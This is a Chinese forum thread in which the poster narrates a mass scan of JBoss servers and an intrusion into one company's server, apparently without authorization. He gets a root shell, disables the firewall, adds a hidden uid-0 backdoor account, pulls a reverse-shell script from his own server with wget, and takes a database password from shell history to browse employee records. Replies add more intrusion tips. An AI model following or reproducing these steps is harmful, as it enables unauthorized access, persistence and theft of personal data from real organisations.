V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
cdxy
V2EX  ›  信息安全

第一个主题,分享一次渗透测试的过程 :)

  •  1
     
  •   cdxy · 2016-04-22 08:27:49 +08:00 · 7910 次点击
    这是一个创建于 2932 天前的主题,其中的信息可能已经有所发展或是发生改变。

    昨天把 jexboss 脚本整合到我的并发框架里,扫了一遍全国 jboss ,发现一千多个 shell.

    工具地址在:https://github.com/Xyntax/POC-T

    随意拿了一个看似大厂商的,作本次入侵测试

    ##发现传送门

    通过 jexboss 拿到 shell ,看到是 centos 的机器(IP 已打码).

    这里写图片描述

    看起来是 root ,确认一下.

    这里写图片描述

    ##不稳定的传送门

    ###shell 的问题
    接下来执行命令的时候,发现这个 jexboss 自带的 shell 很不稳定.出现各种问题,包括但不限于以下两个严重问题:

    • 执行有交互的命令时,程序会崩溃退出.比如说: cat 命令会正常回显,但是 vi 命令会导致 shell 直接报错退出.
    • 命令错误时,无回显

    只好自己再做个稳定的 shell

    ###nc 的尝试
    看到系统有 nc .我想简单用 nc 弹个稳定的 shell 回来,发现我提交的所有 nc 命令都没有回显,且连不上 shell .

    ###Py 的尝试
    放弃了 nc ,看看系统有没有 python ,结果还是--version没回显,但是有-h

    这里写图片描述

    然后我又想用 py 弹个 shell 回来,用了这段代码,发现也没有成功,有点古怪.

    这里写图片描述

    我又执行了一句简单的 print ,仍然没有回显!

    why?

    这里我思考了一下,如果它是因为报错了才无回显.那么能引起报错的应该是代码中( ) ' "等特殊字符在传输过程出现了错误.

    我又用几个简单的 shell 代码具体测试了一下,证实猜测:

    • 含有' " | > >> & 等特殊字符的命令,均不能执行.且没有回显

    这意味着我基本不能通过这个 shell 执行含有非字母字符的命令了!
    不能使用 nc ,不能使用 python ,管道,重定向都不行了

    ###SSH 的尝试

    看来这个 shell 基本是废的.看了下进程,端口,以及iptables防火墙,发现一些针对性的配置,说明还是部署了一些安全防御的.看到 22 端口后,我果断关了防火墙.我新建个用户,然后外面用 ssh 连不就 OK 了么

    于是我新建了一个管理员用户
    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash php

    查看了一下/etc/passwd没有问题,创建成功!

    这里写图片描述

    然后在修改其密码时
    passwd php

    没有回显!!!
    我想起来,这个修改密码的动作是要用户交互几次的.之前说过,执行交互的命令都是报错退出,没回显..所以又完蛋了

    这里写图片描述

    一般 ssh 都不会允许空密码连接的,我试了一下,结果像这样.
    ssh: connect to host 183.xxx.xxx.xxx port 22: Connection refused

    我查看下 ssh 的配置文件cat /etc/ssh/sshd_config
    结果如下:

    #	$OpenBSD: sshd_config,v 1.97 2015/08/06 14:53:21 deraadt Exp $
    
    # This is the sshd server system-wide configuration file.  See
    # sshd_config(5) for more information.
    
    # This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin
    
    # The strategy used for options in the default sshd_config shipped with
    # OpenSSH is to specify options with their default value where
    # possible, but leave them commented.  Uncommented options override the
    # default value.
    
    Port 2525
    
    #AddressFamily any
    #ListenAddress 0.0.0.0
    #ListenAddress ::
    
    

    除了配置文件里禁止了空密码登录外,管理员还把 ssh 的默认端口改成了 2525 ,可以可以

    于是我在配置文件里加一句话,允许空密码登录不就 OK 了么.

    然而我在写命令时,不能用非字母字符!还不能使用编辑器交互!
    vi 直接崩, sed 不行, echo 重定向也不行...

    ##稳定的传送门
    根据这个辣鸡 shell 的臊性,看来我是很难往系统里写入东西了,于是在外部下载代码本地执行总可以的吧,反正有 Python 了.

    wget xxx.xxx.xxx 这个命令没有特殊字符!应该可以执行

    写了个脚本挂在我的服务器上,再从目标机 wget 到本地.
    ls 出来的时候,我就炸了!

    这里写图片描述

    果断python shell.py ,看到那个sh-4.1 出来的时候就知道搞定了!

    这里写图片描述

    然后改了我建立用户的密码,外部 ssh 连接,传送门终于稳定下来.

    ##逛逛数据库
    拿到稳定的 shell ,看看数据库

    试试在命令历史中寻找相关命令:
    cat ~/.bash_history |grep sql

    结果如下,果然有货

    这里写图片描述

    这里 mysql 的老司机们一看便知-p后面其实是不需要跟内容的,后面的参数123456其实是数据库名.

    难道它 dump 出来的数据库就叫 123456 ?不太可能吧,明显是新手把管理员把密码放到-p 后面了吧!

    一试果然,不费吹灰之力进了数据库:

    这里写图片描述

    mysql 里面的命令行对我来说早就轻车熟路

    这里写图片描述

    use information_schema
    
    select table_name,table_rows from tables where TABLE_SCHEMA = 'cloudcompany' order by table_rows desc;
    

    这里写图片描述

    管理员表:

    这里写图片描述

    都是员工数据(216 条数据),来看一条:

    这里写图片描述

    挑一些有用的看看:

    这里写图片描述

    另外一个表(30W 数据):

    这里写图片描述

    ##结语
    看来数据库没太多东西.边做边写文章效率太低,已经工作快四个小时了,内网什么的不做了,交漏洞走人!

    注:本文已屏蔽所有敏感数据,仅供技术交流,该入侵事件已提交乌云漏洞平台.

    mail: [email protected]

    22 条回复    2016-04-27 17:06:23 +08:00
    unique
        1
    unique  
       2016-04-22 08:45:26 +08:00
    楼主大神。
    pimin
        2
    pimin  
       2016-04-22 09:04:37 +08:00 via Android
    https://www.zoomeye.org/search?q=jboss
    找到约 65,083 条结果, 46,097 个主机 (0.041 秒)。
    GPU
        4
    GPU  
       2016-04-22 09:27:24 +08:00
    几天之后黑产就会出现一大片卖库的?
    cdxy
        5
    cdxy  
    OP
       2016-04-22 09:29:31 +08:00
    @GPU 黑产早已下手了
    Felldeadbird
        6
    Felldeadbird  
       2016-04-22 09:57:53 +08:00
    学习了。大胆假设,仔细论证是做渗透必备的技能。
    ixinshang
        7
    ixinshang  
       2016-04-22 10:01:42 +08:00
    楼主又让我明白了一个命令
    tony1016
        8
    tony1016  
       2016-04-22 10:09:11 +08:00   ❤️ 1
    cdxy
        9
    cdxy  
    OP
       2016-04-22 10:14:45 +08:00
    @tony1016 已感谢
    liberize
        10
    liberize  
       2016-04-22 10:18:35 +08:00   ❤️ 1
    “老司机”居然不知道 mysql -uroot -p123456 这样指定密码是可以的,注意 -p 和 密码之间没有空格
    cdxy
        11
    cdxy  
    OP
       2016-04-22 10:23:37 +08:00
    @liberize 哈哈哈打脸了,多谢更正,以前这么用习惯了,已感谢!
    ceyes
        12
    ceyes  
       2016-04-22 10:41:15 +08:00
    非交互改 root 密码可以这样:`echo -e 'newpass\nnewpass' | passwd root`
    H3x
        13
    H3x  
       2016-04-22 10:43:30 +08:00   ❤️ 1
    友情提示: jexboss 的 jsp 马里有后门,改成自己的吧
    ahcat
        14
    ahcat  
       2016-04-22 10:46:18 +08:00
    @ceyes 上面说了不能管道
    ceyes
        15
    ceyes  
       2016-04-22 10:49:33 +08:00
    @ahcat My bad, 没看仔细
    arfaWong
        16
    arfaWong  
       2016-04-22 10:55:21 +08:00
    南京企友信息科技有限公司 ??
    cdxy
        17
    cdxy  
    OP
       2016-04-22 11:27:10 +08:00
    @arfaWong 不是的
    cdxy
        18
    cdxy  
    OP
       2016-04-22 11:28:05 +08:00
    @H3x 多谢提醒!已去除此段代码
    aa45942
        19
    aa45942  
       2016-04-22 12:33:48 +08:00   ❤️ 1
    其实我想说, useradd 带-p 参数就能无交互设置密码了......
    cdxy
        20
    cdxy  
    OP
       2016-04-22 13:17:54 +08:00
    @H3x

    https://github.com/joaomatosf/jexboss/issues/5#issuecomment-213240980

    Hello Friend,
    This is the JSP shell that is deployed within the JBoss server successfully exploited via Jexboss and http://webshell.jexboss.net/ address must be the official tool site (at the time, I'm just migrating the releases notes file for he).
    Currently there are 5 different exploits that help improve the effectiveness of JexBoss. They deploy SAME JSP code within the vulnerable server (if you have permission).
    As you can see, the code is available both within the python script or hosted on http://joaomatosf.com/rnp/jexws.war. The specific case of your figure, the code is using url encoding, otherwise the exploit does not work. In exploit for vector "invoker", in turn, the same code is in hexadecimal, why it is a holding which sends binary payload.
    If you download the http://joaomatosf.com/rnp/jexws.war file and unpack with unzip, inside is the same JSP shell that appears in his image, but without using url encoding.

    Addresses "http://webshell.jexboss.net" and "http://webshell.jexboss.com" will be used to host the webshells JexBoss and changelog file (instead of the address http://joaomatosf.com/rnp/, which is an old abandoned blog).
    Currently the shell JSP that JexBoss deploys within your server vulnerable seeks changelog file hosted on http://webshell.jexboss.net but does not warn the user when updates are available yet (I'm currently implementing it).
    In future releases, when the shell jsp is accessed, it must inform you whenever there are updates itself, similar to what happens when you run the python script jexboss.py. At the time, it just checks the version control file (changelog) which you can view here: http://webshell.jexboss.net/.

    Thank you for your question and I am available for any questions.
    ihacku
        21
    ihacku  
       2016-04-23 12:45:39 +08:00 via iPhone
    点赞
    RIcter
        22
    RIcter  
       2016-04-27 17:06:23 +08:00
    lz 这个手法太生疏了..
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   2272 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 46ms · UTC 08:08 · PVG 16:08 · LAX 01:08 · JFK 04:08
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.